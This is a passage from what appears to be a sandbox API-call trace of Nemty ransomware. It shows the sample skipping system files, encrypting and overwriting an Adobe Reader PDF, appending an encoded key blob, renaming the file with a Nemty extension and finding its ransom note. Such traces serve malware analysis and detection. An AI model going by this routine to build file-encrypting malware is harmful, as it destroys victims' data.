(lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0187.908] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0187.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0187.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0187.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0187.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0187.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0187.909] Sleep (dwMilliseconds=0x5) [0187.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23a737f0, dwHighDateTime=0x1d561e8)) [0187.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23a737f0, dwHighDateTime=0x1d561e8)) [0187.915] GetLastError () returned 0x0 [0187.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.915] GetLastError () returned 0x0 [0187.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0187.916] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.916] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.916] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0187.916] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="NNU9La3kPFhDyLLAjjmXw2gTSH1caE6gj+9/7DmgKlE2xmbNbxMf+Wi98QHPSyNp\r\nl4KC7OAwIRmKNxd7O5sB7qBtmm93hdf0xtjMlEM3UvAY/77DN2hsn0kSkug82AUk\r\nAFXi5xohhoDR+dNR/51v53m8jA6YxZEanFYLr/Eh/TdPJ9sQTE2ujwunf5aJw9Ba\r\njVa3d/sVcBhi0FFbp36wnuxvTsUDJ6QM1YTp8UikLt2RdoSclrcScHOXB69QaWZ0\r\ntRX8HP/g/eWN1oG5fOGLwQplQkISCykhocF50M2UTSlHvyX1bYE7Kdl/V9x9AC7v\r\nhAtwQ4f1rGlIpdSV1TjmrQ==\r\n", pcchString=0x653df5c) returned 1 [0187.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0187.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0187.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.916] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.916] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=100183) returned 1 [0187.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x18750) returned 0x6352c48 [0187.917] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.917] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x18750, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x18750, lpOverlapped=0x0) returned 1 [0187.924] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.924] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x18750, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x18750, lpOverlapped=0x0) returned 1 [0187.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.925] SetFilePointer (in: hFile=0x320, lDistanceToMove=100183, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18757 [0187.925] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.925] CloseHandle (hObject=0x320) returned 1 [0187.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0187.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0187.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0187.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0187.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0187.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0187.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0187.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0187.925] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.926] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23a013d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23a013d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23a013d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0187.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0187.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0187.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0187.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0187.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0187.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404a8 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.927] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23a013d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23a013d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23a013d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0187.927] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0187.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0187.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0187.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0187.928] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DEU", cAlternateFileName="")) returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2=".") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="..") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="...") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="windows") returned -1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="$RECYCLE.BIN") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="rsa") returned -1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="NTDETECT.COM") returned -1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="ntldr") returned -1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="MSDOS.SYS") returned -1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="IO.SYS") returned -1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="boot.ini") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="boot.ini") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="AUTOEXEC.BAT") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="ntuser.dat") returned -1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="desktop.ini") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="CONFIG.SYS") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="RECYCLER") returned -1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="BOOTSECT.BAK") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="bootmgr") returned 1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="programdata") returned -1 [0187.928] lstrcmpiW (lpString1="DEU", lpString2="appdata") returned 1 [0187.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEU", lpUsedDefaultChar=0x0) returned 3 [0187.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEU", lpUsedDefaultChar=0x0) returned 3 [0187.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0187.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0187.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0187.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0187.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 